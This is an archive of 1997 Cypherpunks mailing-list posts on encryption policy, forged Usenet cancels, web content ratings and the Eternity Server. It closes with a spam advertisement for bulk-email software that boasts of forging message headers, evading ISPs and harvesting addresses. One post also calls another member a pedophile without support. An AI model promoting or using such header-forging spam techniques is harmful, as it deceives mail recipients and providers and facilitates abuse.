     necessity of strong encryption technology, to facilitate
     electronic commerce subject to "applicable law," and the
     introduction of consumer protection through self- regulation. 

     According to Joanna Noag-Thomson, an associate in
     MacRobert's Intellectual Property and Technology Law
     Group, the declaration deals with many of the issues in
     President Clinton's "Framework for Global Electronic
     Commerce" and, while the US and Europe appear to agree on
     many fundamental issues, important policy differences
     continue to exist, particularly in the areas of information
     privacy and encryption. 

     "The European stance on encryption is to be commended --
     the European Ministers' view is more commercially
     acceptable in that it recognizes that electronic commerce
     requires strong encryption technology," she said. 

     "At the same time, it recognizes that measures to restrict
     encryption should be proportionate At present, the US and
     Europe appear to have different views on what constitutes
     `proportionate' restrictions," she added. 

     According to Boag-Thomson, the EC has warned that, unless
     the US provides adequate protection of personal information,
     it may block any US-based entity from conducting electronic
     commerce on the Internet. 

     "The EU Data Protection Directive forbids data flow to
     countries outside the EU which do not offer adequate
     protection of personal information. Although data protection
     is extremely important, I hope that we in Europe will not find
     ourselves isolated from the rest of the world and that a
     solution to this problem can be found," she said. 

     (19970804/Press Contact: Joanna Boag-Thomson
     +44-141-332-9988; Fax +44-141-332- 8886; E-mail:
     joannab at macroberts.co.uk

From dformosa at st.nepean.uws.edu.au  Tue Aug  5 04:55:50 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Tue, 5 Aug 1997 19:55:50 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 4 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> wireinfo  writes:

[...]

> > You're not very bright are you David?
> 
> In my humble opinion David is pretty bright.  Unfortunately he's misguided
> about certain things.  

Thankyou,  I feel almost the same thing about you :D

> I think the extreme aversion to censorship (like that displayed by imp
> and myself) seldom arises in people who haven't themselves been victims
> of censorship

Dose threats from a multynatnatil corpration count?  Dose living in
Austrlia count?

> The current top "spam canceller", Rich Bland ("cosmo")

Jem seems to have gotten to the top of the list now.

[...]

> Most of the people who scream about their "hatred of spam" on news.* are not
> admins, but fairly recent users who figure that "fighting spam" is a cool 
> thing.

Meany of the "I'm pissed off with spam" peaple lack knowlige of the
conciquencers both social and technical of what thay are suggesting.  In
fact there are membours of the anty-cancelers that I trust more then
them.

That being said thouse that are in the center, are more resonable and are
worryed about there activeriese have my support.

[...]

> I was just pointing out that it's factually incorrect to use
> "admins" as a synonym for "anti-spammers".  

No sane person would suggest that (i.e. lots of peaple on usenet would
make that suggestion) because if it was true then we wouldn't have the
problems with agis or uunet.

> Many admins are pro-free speech.

I woundn't have it any other way.

[...]

> Chris Lewis and Dave Barr obth
> forge cancels for usenet articles that follow up on their articles and quote
> them, claiming "copyright violations".

This is interesting,  proof please.

[...]

> Once the offending articles are part of the spool on toher site, it's 
> pointless for me to issue cancels. 

Not even to free up diskspace?

> Note that both have happened:

I know.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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cpYEAGEUL6o=
=R4gE
-----END PGP SIGNATURE-----

From jeffb at issl.atl.hp.com  Tue Aug  5 05:54:52 1997
From: jeffb at issl.atl.hp.com (Jeff Barber)
Date: Tue, 5 Aug 1997 20:54:52 +0800
Subject: "required" and "voluntary"
Message-ID: <199708051247.IAA08928@jafar.issl.atl.hp.com>

While following Wombat's link, I found this amusing piece:
    http://www.usatoday.com/life/cyber/tech/cta958.htm

Don't you just hate it when you're "required" to adopt "voluntary"
measures.

                                 oo
-----------------------------cut /\ here------------------------------

Bill would call for greater Net privacy protection

WASHINGTON - Many people who surf the Internet don't know that personal
information on them can be collected at the sites they visit. 

But that could change under a bill to be offered Wednesday by a key
telecommunications lawmaker which aims to give computer users greater
privacy protections. 

The bill by Rep. Billy Tauzin, R-La., would bar companies from disclosing
or using without consent people's medical and financial records, as well
as government information such as social security numbers that are
available online, said spokesman Ken Johnson. 

As chairman of the House Commerce Committee's telecommunications
subcommittee, Tauzin has considerable power to advance legislation
through the chamber. A hearing is planned for this fall. 

The bill also would require companies to adopt voluntary guidelines to
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
protect computer users' privacy when personal and other information is
collected from them online for marketing purposes, Johnson said. 

Web site owners can use technology to track, for instance, hobbies and
buying habits of visitors. The owners can then sell the information to
advertisers and other interested parties without the consent or knowledge
of the computer user. 

The Federal Trade Commission is now looking into the issue. To
short-circuit any regulatory action, companies including Microsoft and
Netscape Communications, the biggest makers of Web browsers, have
proposed letting computer users specify what personal information they
are willing to share and with which Web sites. 

The bill also would require companies to adopt voluntary guidelines that
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
would help reduce junk e-mail, or "spamming" as it's called in cyberspace,
Johnson said. 

[snip]

From dlv at bwalk.dm.com  Tue Aug  5 08:40:03 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 23:40:03 +0800
Subject: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up
In-Reply-To: <199708050445.NAA03179@eccosys.com>
Message-ID: 

Joichi Ito  writes:

> I said:
> >>but I'll stop now before I get bashed again.
>
> At 07:44 97/08/04 -0500, Jim Choate wrote:
> > If all it takes to take over the citizens of Japan is to bash them a little
> > then you folks are Doomed. Perhaps you have spent one too many days
> > hammering nails that stick up...
>
> I meant get bashed here... and I don't hammer nails. Hammers nail me.
> And it seems like there are US hammers too. "To a hammer everything
> looks like a nail."

Joi, you sound like one of those Usenet pedophiles.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From stewarts at ix.netcom.com  Wed Aug  6 01:47:39 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 6 Aug 1997 01:47:39 -0700 (PDT)
Subject: [ANNOUNCE] Another Bay Area August Cypherpunks Meeting -  Mountain View
Message-ID: <3.0.2.32.19970804234833.03077bcc@popd.ix.netcom.com>

At 12:03 PM 8/2/97 -0700, Lucky Green wrote:
>This month's SF Bay Area Cypherpunks meeting will take place at a new
>location. Please pay close attention to the directions.
>Saturday, August 9, 1997 at 1:00 PM PDT. [22:00 local]
>The Workshop tent, HIP'97 Campground, Almere, The Netherlands.

For those who aren't that HIP or Beyond HOPE, or are otherwise still in 
Western North America, Another SF Bay Area Cypherpunks Meeting will take 
place in Mountain View, at Printer's Ink on Castro Street.
Besides the usual Cypherpunks topics, the program will include the
	Small Brewers' Festival http://www.smallbrewersfest.com/
which will be taking place that day in Mountain View.
(An extremely serious program is anticipated, potentially followed by
The Reptiles and Jerry's Kids in Redwood City that night.)

If anybody brings a Metricom modem, we can try to connect with the
Netherlands meeting by PGPfone or the HIP'97 VRML server;
please let me know if you plan to bring one so we can conspire
about connectivity.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From declan at well.com  Tue Aug  5 11:16:11 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 6 Aug 1997 02:16:11 +0800
Subject: "Censor's Sensibility" sidebar, from Time Magazine
Message-ID: 

     _________________________________________________________________

   BUSTED!
   Some surprising sites get trapped in the filters

CyberPatrol

   (www.heritage.org/heritage/) The Heritage Foundation
   (www.mit.edu/activities/safe) M.I.T. free-speech society
   (news:clari.tw.health.aids) Reuters articles about AIDS

NetNanny

   (www.odci.gov/) U.S. Central Intelligence Agency
   (www.cs.cmu.edu/~spok/banned-books.html) Banned-books archive
   (www.now.org/) National Organization for Women
     _________________________________________________________________

From declan at well.com  Tue Aug  5 11:16:12 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 6 Aug 1997 02:16:12 +0800
Subject: "A new battle over keeping the Net clean," by J.Weber/LATimes
Message-ID: 

---------- Forwarded message ----------
Date: Tue, 5 Aug 1997 10:49:32 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: "A new battle over keeping the Net clean," by J.Weber/LATimes

---------- Forwarded message ----------
Date: Tue, 5 Aug 1997 09:23:15 -0700 (PDT)
From: Jonathan Weber 
To: Declan McCullagh 
Subject: ratings story

Innovation/ Jonathan Weber 

A New Battle   Over Keeping   the Web Clean   

WASHINGTON

   When Congress passed the Internet  censorship law known as the  
Communications Decency Act early last year, the many companies, advocacy 
groups and individuals with a stake in the Internet rose up as one to 
challenge the measure in court. 
   But now that the U.S. Supreme Court has ruled the CDA 
unconstitutional, the victorious coalition is fracturing, and a bitter 
battle is being joined over the Clinton-backed effort to develop a rating 
and labeling system for the Internet.  
   On one side are the big, mainstream Internet and computer companies, 
led by America Online and Microsoft, which proclaim their eagerness to 
make cyberspace "safe for families.'' Lining up against them are 
free-speech advocates, including the American Civil Liberties Union and 
the American Library Assn., which see ratings systems as censorship 
tools. 
   It's not exactly a fair fight: Ratings proponents have popular 
opinion, the economic interests of the industry and the power of the 
presidency on their side. But here's a prediction: The free-speech forces 
will lose the battle, but they'll ultimately win the war. And with a 
little luck there won't be too much damage done in the interim. 
   The debate over ratings begins with a technology called PICS, which 
stands for "platform for Internet content selection.'' PICS is a 
mechanism for labeling Web pages according to their content. The labels 
can then be read by a software program, which in turn can block access to 
sites that have specific types of content. 

PICS itself is not a ratings system, but rather a     method for 
implementing a ratings system. The theory is that once PICS is in place 
throughout the Internet, a multiplicity of ratings systems would emerge. 
A Christian Coalition ratings system might block access to anything with 
any sexual content as well as certain political sites, for example, while 
another system might block only hard-core porn. Parents and others could 
easily choose. 
   So far, so good. There would be no law requiring Web sites to use PICS 
labels; the Clinton administration has stressed that any ratings plan 
would be voluntary. But parents and others would get a new toolone more 
robust and effective than existing software programs, such as 
CyberPatrol, that block out sites deemed unsuitable for kids. 
   The free speech purists have a philosophical objection even to this. 
""Ratings systems are developed to enable one individual to exercise 
control over what another person sees,'' says Marc Rotenberg, director of 
the Electronic Privacy Information Center. That might be OK for parents 
and their children, he allows, but such a tool will inevitably be used by 
public institutions and governmentsif not here then abroadto restrict 
speech. 
   An even bigger worry is that what's being sold as a voluntary system 
that will include a multiplicity of ratings systems is actually going to 
be an all-but-mandatory system that offers very few choices. 
   Consider, first of all, what happens to Web sites that decline to rate 
their pages. Any PICS-based filter would have to block all unrated pages. 
Already, ratings proponents are calling on the major search services, 
such as Yahoo, not to index unrated sites. Overseas Web services would 
face the choice of adopting a U.S. labeling system or forgoing access to 
any U.S. readers. Web publishers that didn't want to participate might 
suddenly find themselves in a deserted backwater of the network. 
   There's also the question of how disputes over ratings would be 
arbitrated. Sites would be self-rated, and in fact the vast majority of 
sites would have no incentive to misrepresent themselves. But what 
happens when some do anyway? Would it be a crime for a porn site to 
proclaim itself suitable for children? 
   At the moment, moreover, it doesn't appear that there are a variety of 
ratings systems under development representing different values. In fact, 
a system being created by the Recreational Software Advisory Council, a 
Microsoft-led industry group, is quickly emerging as a de facto standard. 
   The battles over how RSAC handles certain kinds of sites have only 
just begun, but to see the inevitable problems one need look no further 
than the ongoing discussion about news. 

N   ews sites, reasonably enough, don't want to rate     themselves. At 
the very least it would be impractical to label every page of a big news 
site every day to warn of violent or tasteless or otherwise disturbing 
content. And labeling news just doesn't seem very consistent with freedom 
of the press. 
   So the news organizations want to have a special news rating. Who 
qualifies for a news rating? Well, a committeeoperating under the 
auspices of the Internet Content Coalition, which represents a number of 
major publishers (including The Times)would decide. News organizations 
get together to decide who is and who isn't a news organization. Hmm. 
   In the face of these objections, the Clinton administration and the 
companies backing the ratings effort say that, first of all, something 
has to be done to stave off new legislation. If industry doesn't act, 
Congress will come up with "son of CDA,'' and this time it might hold up 
in court. 
   There are other motives too, though, namely a desire to expand the 
market. "Nothing is as important as making this medium 
family-friendly,'' America Online Chairman Steve Case declared here last 
week. 
   That's funny coming from him, because AOL owes much of its success to 
its decidedly un-family-friendly sex-chat rooms, but he's obviously 
decided that a clean image is important to further growth. The online 
giant is spearheading a two-day meeting here in October, where the 
ratings battle is likely to come to a head. 
   The administration and the big companies both want to bring the 
Internet into the mainstream. If some of its wilder and woollier aspects 
are marginalized in the process, well, good. 
   And that is the nightmare of free-speech advocates: that a medium that 
the Supreme Court declared ought to be treated at least as liberally as 
print (ever heard of ratings for books?) will nonetheless be driven into 
TV-like conformity. 
This is a legitimate fear. Personally, though, I don't     think the 
worst will happen. The Internet is simply too big, too diverse and too 
fast-changing to be tamed by even a semi-voluntary ratings mechanism. The 
business interests, moreover, cut both ways: Family-friendly might look 
like a way to expand the market today, but pornography and gambling and 
even radical politics are sure to remain a big part of the online 
landscape. 
   AOL's Case says that online service providers competing on the basis 
of who is more family-friendly would be akin to airlines competing based 
on their safety records. That's a ridiculous analogy: Everyone thinks 
plane crashes are bad, but not everyone feels the same way about controls 
on Internet content. 
   In my ideal world, Internet providers should be competing based on 
values, not trying to impose some kind of bogus consensus. 
   Esther Dyson, one of the industry's most respected thinkers, favors 
the development of PICS as a tool but stresses the importance of 
choicesand of people taking responsibility for their actions. In the 
wired world, she says, power is constantly shifting and devolving away 
from central authorities, and that requires individuals to be less 
passive: "I want local control,'' she says. "I don't want no control.'' 
   PICS and RSAC have powerful forces behind them and stand a good chance 
of establishing themselves as part of the mainstream Internet. But 
there's a natural tendency toward diversity in cyberspace, and it's hard 
to see how they would become ubiquitous. 
   If individuals and organizations are vigilant about how ratings are 
usedi.e., not by governments and not by public institutions such as 
librariesthere's a chance that they'll remain what they were originally 
intended to be: one of many means for people to manage the often 
unmanageable Internet. 

   Jonathan Weber (Jonathan.Weber at latimes.com) is editor of The Cutting 
Edge. 

**********************************************************************

Jonathan Weber
Jonathan.Weber at latimes.com
Technology Editor
Los Angeles Times 

From stewarts at ix.netcom.com  Tue Aug  5 13:29:31 1997
From: stewarts at ix.netcom.com (stewarts at ix.netcom.com)
Date: Wed, 6 Aug 1997 04:29:31 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970802092944.06562@bywater.songbird.com>
Message-ID: <3.0.2.32.19970805102802.0077fe24@popd.ix.netcom.com>

>Kent Crispin  writes:
>> In more general terms: A "free market" fundamentally grants more
>> control to those with more money.  Postage of whatever variety turns
>> the medium over to those with more money.  That would, in my opinion, 
>> fundamentally alter the character of email in a strongly negative 
>> direction. 

More to the point, if you're charging prices that don't reflect the
true costs of the activities, it'll catch up with you after a while;
either the Tacky People will find a way to siphon money out of the system
by some variant on spamming, or it won't have the same community you're 
looking for, because it's only used by people willing to pay extra for 
the service, or because the information flow that used to be provided free
gets stifled, or somebody will offer a competing system that offers 
similar features at a lower cost, or whatever.

Somehow Usenet has survived growing from a system small enough to read
all the mail to a system with gigabytes of traffic per day,
and it's still possible to find some signal among the noise
(though the Web has siphoned off much of that signal.)
And we've grown from tens of thousands of students and defense contractors
on the Arpanet and UUCP and Fido nets and BBSs to tens of millions of 
users on the Internet.  Filtering tools help find the interesting
parts of the global discussion, and make it easier to get rid of
the uninteresting parts.  

The present situation is that the social dynamics and economics are such
that Tacky People can make money by being rude to everyone without being 
interesting in return.  While trying to charge money for communications
may work, I'm inclined to doubt it; the more interesting currency to
try to model is Reputation, which leads to more like an Ender's Game
kind of net, or to semi-closed communities like the Well (is?was?).

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)

From dformosa at st.nepean.uws.edu.au  Tue Aug  5 14:06:51 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Wed, 6 Aug 1997 05:06:51 +0800
Subject: "Censor's Sensibility" sidebar, from Time Magazine
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 5 Aug 1997, Declan McCullagh wrote:

> NetNanny
> 
>    (www.odci.gov/) U.S. Central Intelligence Agency

Is thats where the world fact book is mounted?  It would be a pitty that
this usefull resurch tool would be blocked.  I mean thay might find out
that the CIA consideres every single country in the world a magour transit
point for drugs.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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Version: 2.6.3i
Charset: noconv

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From dformosa at st.nepean.uws.edu.au  Tue Aug  5 14:11:08 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Wed, 6 Aug 1997 05:11:08 +0800
Subject: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <3.0.2.32.19970805102802.0077fe24@popd.ix.netcom.com>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 5 Aug 1997 stewarts at ix.netcom.com wrote:

[...]

> While trying to charge money for communications
> may work, I'm inclined to doubt it; the more interesting currency to
> try to model is Reputation, which leads to more like an Ender's Game
> kind of net, or to semi-closed communities like the Well (is?was?).

The semi-closed communities are forming even now.  Usenet2, the fur
hyrackies and the hyracky that shall not be named are all examples of
this.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From alan at ctrl-alt-del.com  Tue Aug  5 14:28:20 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Wed, 6 Aug 1997 05:28:20 +0800
Subject: "Censor's Sensibility" sidebar, from Time Magazine
In-Reply-To: 
Message-ID: 

On Wed, 6 Aug 1997, ? the Platypus {aka David Formosa} wrote:

> > NetNanny
> > 
> >    (www.odci.gov/) U.S. Central Intelligence Agency
> 
> Is thats where the world fact book is mounted?  It would be a pitty that
> this usefull resurch tool would be blocked.  I mean thay might find out
> that the CIA consideres every single country in the world a magour transit
> point for drugs.

Especially the evil designer drugs TCP and UDP.  Some countries try to
block them at their borders, but they always seem to route around it.

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.

From feanor at nym.alias.net  Tue Aug  5 14:32:18 1997
From: feanor at nym.alias.net (Feanor)
Date: Wed, 6 Aug 1997 05:32:18 +0800
Subject: Question: What's with cypherpunks-unedited?
Message-ID: <19970805211314.15653.qmail@nym.alias.net>

Just wondering what the story was behind the split and subsequent going-away of
cypherpunks at toad.com?

Also, I'm getting about 20 msgs a day: is that correct or is my gateway broken
again?

Thanks!

-Robin

From ariel at watsun.cc.columbia.edu  Tue Aug  5 14:33:35 1997
From: ariel at watsun.cc.columbia.edu (Ariel Glenn)
Date: Wed, 6 Aug 1997 05:33:35 +0800
Subject: eternity server makes wired
Message-ID: 

Good going, guys...

http://www.wired.com/news/news/technology/story/5778.html

   [Masthead]
   []
   [Navigation bar]
   [Stocks] __________
   ______________

   [Search] [WIRED magazine]
   []
   [Back] Creating Anonymous Sites That Can't Be Revoked

   by Michael Stutz 
   12:05pm  5.Aug.97.PDT Web sites, having a physical, traceable
   location, are always subject to censorship. In such attacks, a
   government or other localized entity orders the removal of - or even
   physically raids - those sites which host non-approved content within
   its sovereign borders; these sites are often forced to "unpublish" or
   destroy such information.

   Now, a means of creating anonymous, unrevokable Web sites has been
   developed. Originally proposed in theory by UK cryptologist Ross
   Anderson, the Eternity Server is being implemented by a band of
   cypherpunks including Adam Back, a research fellow at Exeter
   University.

   The idea is simple. Web content - even entire sites - can be posted to
   Usenet in such a way that it can be easily retrieved.

   Usenet's discussion forums are distributed across thousands of news
   servers around the world. This, it turns out, makes for a perfect,
   anonymous digital repository: "No one knows who's reading it," said
   Back. "They can't find all Eternity Servers from some centralized
   list. It's decentralized, unlike a mailing list, where there is a
   central node which can be taken out."

   The mechanics of document submission are as follows: Eternity Service
   recognizes its own fictitious top-level domain, .eternity. From there,
   a Web document is given its own virtual URL, and the subject line of
   the message becomes a unique mathematical representation of that
   virtual URL, from which the document can be retrieved using search
   techniques. Furthermore, the message is encrypted so that knowledge of
   this URL is necessary for decryption.

   Once posted to Usenet, the document will be viewable in perpetuity and
   can be reconstructed in a Web browser by any Eternity Server program,
   which simply decodes the .eternity URL into its equivalent Usenet
   message, then fetches, decrypts, and displays it. Eternity supports
   digital signatures to maintain author anonymity, allowing for
   unconditional free speech.

   Mike Duvos, a Seattle-area computer-software consultant, is an
   Eternity Service user. He sees this as part of Usenet's ongoing
   evolution, just as it previously changed from a text-only medium to
   include binary files as well.

   "Establishing a convention for the posting of Web content to Usenet,
   employing modern encryption and authentication tools, and permitting
   transparent browsing of that content, is just another step in the same
   direction," he said.

   While still fresh out of beta, the technique shows a great deal of
   promise as a foil to conventional means of censorship. "The attention
   gathered by censoring an Eternity Server will ensure that lots of
   other servers start up," said Back. "It will generate a feeding frenzy
   of new servers springing up," he said, assisting free speech from here
   - to Eternity.

   Find related stories from the Web's top news sites with NewBot

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   [technology]
   TECHNOLOGY
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   Click here for Vivo [INLINE]

------

Ariel Glenn / AcIS R&D / Columbia University
ariel at columbia.edu
standard disclaimer, blah blah blah...

From bpettigrew at usa.net  Tue Aug  5 14:48:37 1997
From: bpettigrew at usa.net (bpettigrew at usa.net)
Date: Wed, 6 Aug 1997 05:48:37 +0800
Subject: "A new battle over keeping the Net clean," by J.Weber/LATimes
Message-ID: 

>At the moment, moreover, it doesn't appear that there are a variety 
of 
>ratings systems under development representing different values. In 
fact, 
>a system being created by the Recreational Software Advisory Council, 
a 
>Microsoft-led industry group, is quickly emerging as a de facto 
>standard. 

The problem isn't with PICS, or with ratings, or even with RSAC.  The
problem is that nobody else is making the effort to set up alternative
rating systems.  This leaves RSAC as the only option, by default.

Let the free speech organizations demonstrate their commitment to 
their
cause by creating their own ratings.  Rank sites on the basis of their
support of freedom, or on how privacy-friendly their policies are.
Even formalize the geek code.  Do something, anyway.

The solution to bad speech is more speech.  Don't suppress, ban,
or oppose RSAC.  Provide alternatives.

Bubba

From may at zeta.org.au  Wed Aug  6 07:00:46 1997
From: may at zeta.org.au (Floodgate)
Date: Wed, 6 Aug 1997 07:00:46 -0700 (PDT)
Subject: Bulk Email For Profit
Message-ID: <19970806612WAA53359@post.pvallarta.icanet.net.mx>

To be removed, hit reply and type
"remove" in the subject.

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7. America On-line Member Directory: Most member directories only allow you to search by city and state. With AOL, you can search by business type, hobbies, computer type, etc. This is the gem of all
member directories. Build huge targeted lists.

8. CompuServe Member Directory: This is a major resource. If you're willing to target your mailing to a single city, you can collect about 1,000 email addresses an hour.

9. Delphi Member Directory: The Delphi member directory allows you to search for people based on key words. These are good targeted mailing lists. A single search can easily generate 5,000 addresses.

10. Genie Member Directory: Similar to the CompuServe member directory, only you can download names much quicker. You can easily pull hundreds of thousands of addresses out of each of these member directories.

11. CompuServe File Cabinet: If you run classified ads, and save the responses in the CIM file cabinet, you'll be able to easily reuse these addresses. You can send your marketing letter to everyone in any single folder. Build master lists and clean UP your hard drive.

12. Free Form: If you have a text file with email addresses that floodgate does not support, chances are the Free Form filter will be just what you need. Just enter a key word to search for.

13. CompuServe Form Profiles (Forum Membership Directories): Easy to build targeted lists here. Each search can easily bring you 500+
addresses.

14. Genie Profiles: If you're building targeted lists, you'll get a lot of addresses very quickly from Genie.

15. Plain Addresses: Read Floodgate Master Files back into Floodgate to merge files and do selective mailings. Also useful for the management of email address lists that you might purchase.

Floodgate also has filters to allow you to include or exclude any groups of addresses in your final distribution lists. For example, you could include only email addresses that ended in .com or exclude all with .gov. You could exclude all noc, root, and other addresses that almost guarantee a negative response. These filters are fully configurable and can be used together.

BUILD REUSABLE MASTER FILES

Floodgate maintains Master Files for each of your marketing letters. If you download from the same place on a regular basis, you only want to send your letter to the new people. Floodgate will compare the new addresses with those in the Master File, and prepare a mailing list of only new people. The new addresses are, of course, then added to the Master File. With each new mailing your Master File grows and grows.

You may create as many Master Lists as you need. When you start a new marketing campaign, you'll want to send your new letter to everyone on your Master List. If you write a newsletter, each time you send your newsletter, you'll send it to everyone on a Master List.

THE REMOVE LIST

Very often, people will reply and tell you to take them off your mailing list. Place these addresses in the REMOVE.MST file and they will never receive another letter from you again. In this way, you will be operating your business with the most professionalism
possible.

DON'T BE FOOLED

We have some new competitors that have tried to copy Floodgate. The following list describes why Floodgate is BETTER.......

**Floodgate is a mature, bug free product. Not an initial release.
**Floodgate comes with over 100 pages of step by step       documentation.
**Floodgate is the only one offering a money back     guarantee.
**Floodgate has more testimonials. 
**Filter for filter, Floodgate offers more capabilities,   way more. 
**Floodgate does everything all the others *combined* claim. 
**Floodgate is by far the easiest to use.
**There is NO *cutting and pasting* with Floodgate. 
**We have by far, the BEST technical support.

SOME QUICK MATH

Floodgate can pay for itself in a few days. It can also cut your advertising costs down to almost nothing. Think of what the competition will do when they get their Floodgate program. Don't be left in the dust - there are 75 million people out there, just a few keystrokes away. Let's do the math:

- Email 50,000 sales letters (takes about 1-2 hours)
- Let's say your product will bring you $5 profit per   sale.
- Let's also say you only get a 1% response   (occasionally higher).

* That's 500 orders x $5 = $2,500 profit !! Now imagine what 500,000 letters would do for your business !!

WHAT CAN I MARKET ON-LINE?

You can market anything on-line using direct email, that can be marketed using conventional postal direct mail marketing. The possibilities are practically endless. If it sells off-line, you can sell it on-line.

EASY TO INSTALL AND EASY TO LEARN

The Floodgate Email Loader requires Windows. The SUPPLIED MANUAL tells you where to go, what to do, and how to do it. All you need are basic computer skills that can be learned with a little practice or help from our computer savvy technicians.

PROGRAM #2: GOLDRUSH STEALTH MASS MAILER

Do not get this program confused with other slow speed programs that call themselves "STEALTH". This program is the only one in the world that can send email out at HIGH SPEEDS with one single connection to the internet. 

This is NEW, Cutting Edge Email Technology. First Of It's Kind.. The Most Powerful BULK EMAIL SENDER In The World.. NOTHING CAN EVEN COME CLOSE! 

Thanks to our top programmer's, this technology is NOW available and we are the only place you can get it from! 

     *ONLY "ONE" DIAL-UP OR ISDN CONNECTION NEEDED. 
     *NO MORE TERMINATED CONNECTIONS. 
     *NO MORE WAITING TO SEND LARGE AMOUNTS OF EMAIL. 
     *IMMEDIATE RESPONSE TO YOUR MASS MAILINGS. 
     *YOU WILL HAVE ALL THE CONTROL AND CONFIDENCE OF               SENDING EMAIL THE WAY IT SHOULD BE SENT... IN HUGE AMOUNTS! 
     *SEND YOUR WHOLE LIST IN ONE DAY, WHETHER IT BE                500,000 OR 5 MILLION - AND JUST SIT BACK AND WAIT FOR YOUR       ORDERS TO POUR IN. 
     *NO MORE DOWNLOADING UNDELIVERABLE NAMES.

Bulk Emailer's Dream Come True!!! - >>>GOLDRUSH STEALTH MASS MAILER<<< 

Connect to multiple mail servers (20 or more), make multiple connections to a single server or any combination of the two ( All Simultaneously ) with one single dial-up connection. 

SEND MULTIPLE SIMULTANEOUS MAILINGS... 

View complete details about your mailings. Shows each server your connected to, the status of that connection, how many messages are going out through that connection, etc...

We show you ALL the tricks all the mass e-mailers don't want you to know... 

Here are just a few features the GOLDRUSH STEALTH MASS MAILER offers to you... 

     *Forge the Header - Message ID - ISP's will Spin their wheels. 
     *Add's a Bogus Authenticated Sender to the Header. 
     *Add's a complete bogus Received From / Received By line with       real time / date stamp and recipient to the Header. 
     *Does NOT require a valid POP Account be entered in order to       send your mailings. 
     *Easy to use and operate 
     *Plus much more! 

All this, at speeds of up to 1,000's messages/hour
(28.8k modem). 

SPECIAL INTRODUCTORY PRICE... 

NOW YOU CAN HAVE BOTH THE FLOODGATE AND GOLDRUSH STEALTH MASS MAILER FOR JUST $499.00! 

UPDATE ... SAVE $149.05 AND ORDER NOW, BE ONE OF THE FIRST 100 ORDERS! 

Step up to the plate and play with the big boys TODAY and receive the COMPLETE 2 SOFTWARE PACKAGE for the unbelievably low price of ONLY $349.95! 

(Other bulk email software has sold for as much as $2,500 and can't even come close to the cutting edge technology of EASE, ACCURACY AND SPEED ... SPEED ... SPEED!) 

       Try the Goldrush Stealth Mass Mailer & Floodgate Bulk Email Loader for 10 days FREE. 
        And receive UNLIMITED technical support for 30 days.

***SPECIAL BONUS #1:*** STOP Losing ISP Dial Up Accounts! 

If you order The FLOODGATE / GOLDRUSH software within the next 5 days - When you receive your program, you will also receive: 

*Complete instructions on "how to keep your dial up account from  showing up in the header", plus everything you will need to get started doing this. 

IMPORTANT NOTICE! We will initially only be offering 100 copies of the program for sale, First come / First Served basis only. We are doing this because of the extreme power that these programs offer.

***SPECIAL BONUS #2*** 

When you receive your two programs, you will also receive:
OVER 250 REPRINT AND RESELL RIGHTS REPORTS YOU CAN START TO MARKET
AND MAKE MONEY IMMEDIATELY!!! 

     These HOT sellers include: 
     1) How to Get a Top Rating in the Search Engines 
     2) 70 Money Making Reports 
     3) 75 MONEY MAKING PLANS & TRADE SECRETS and MUCH MUCH MORE!!!         ($200 RETAIL VALUE - FREE!!!) 

***SPECIAL BONUS #3***

With your two software programs, you will also receive our NEW "Address Grabber" utility program that enables you to grab 100's of THOUSANDS of email addresses from
newsgroups in minutes ($100 RETAIL VALUE - FREE).

         ***************************************************

To get your FREE demo and "test drive" our state-of-the-art software, fax your request for the demo giving us your 
email address to:

        		954-255-3713

         ****************************************************

              HURRY ... RESERVE YOURS TODAY! 

So, if you are interested in taking advantage of the most powerful bulk email software
in the world and start making money hand over fist.....

Print out the EZ ORDER form below and FAX or MAIL it to our office.

If you have any questions don't hesitate to call us at: 1-954-341-2924

SYSTEM REQUIREMENTS

386 or larger
Windows 95 OR Windows 3.1 with 8 meg ram
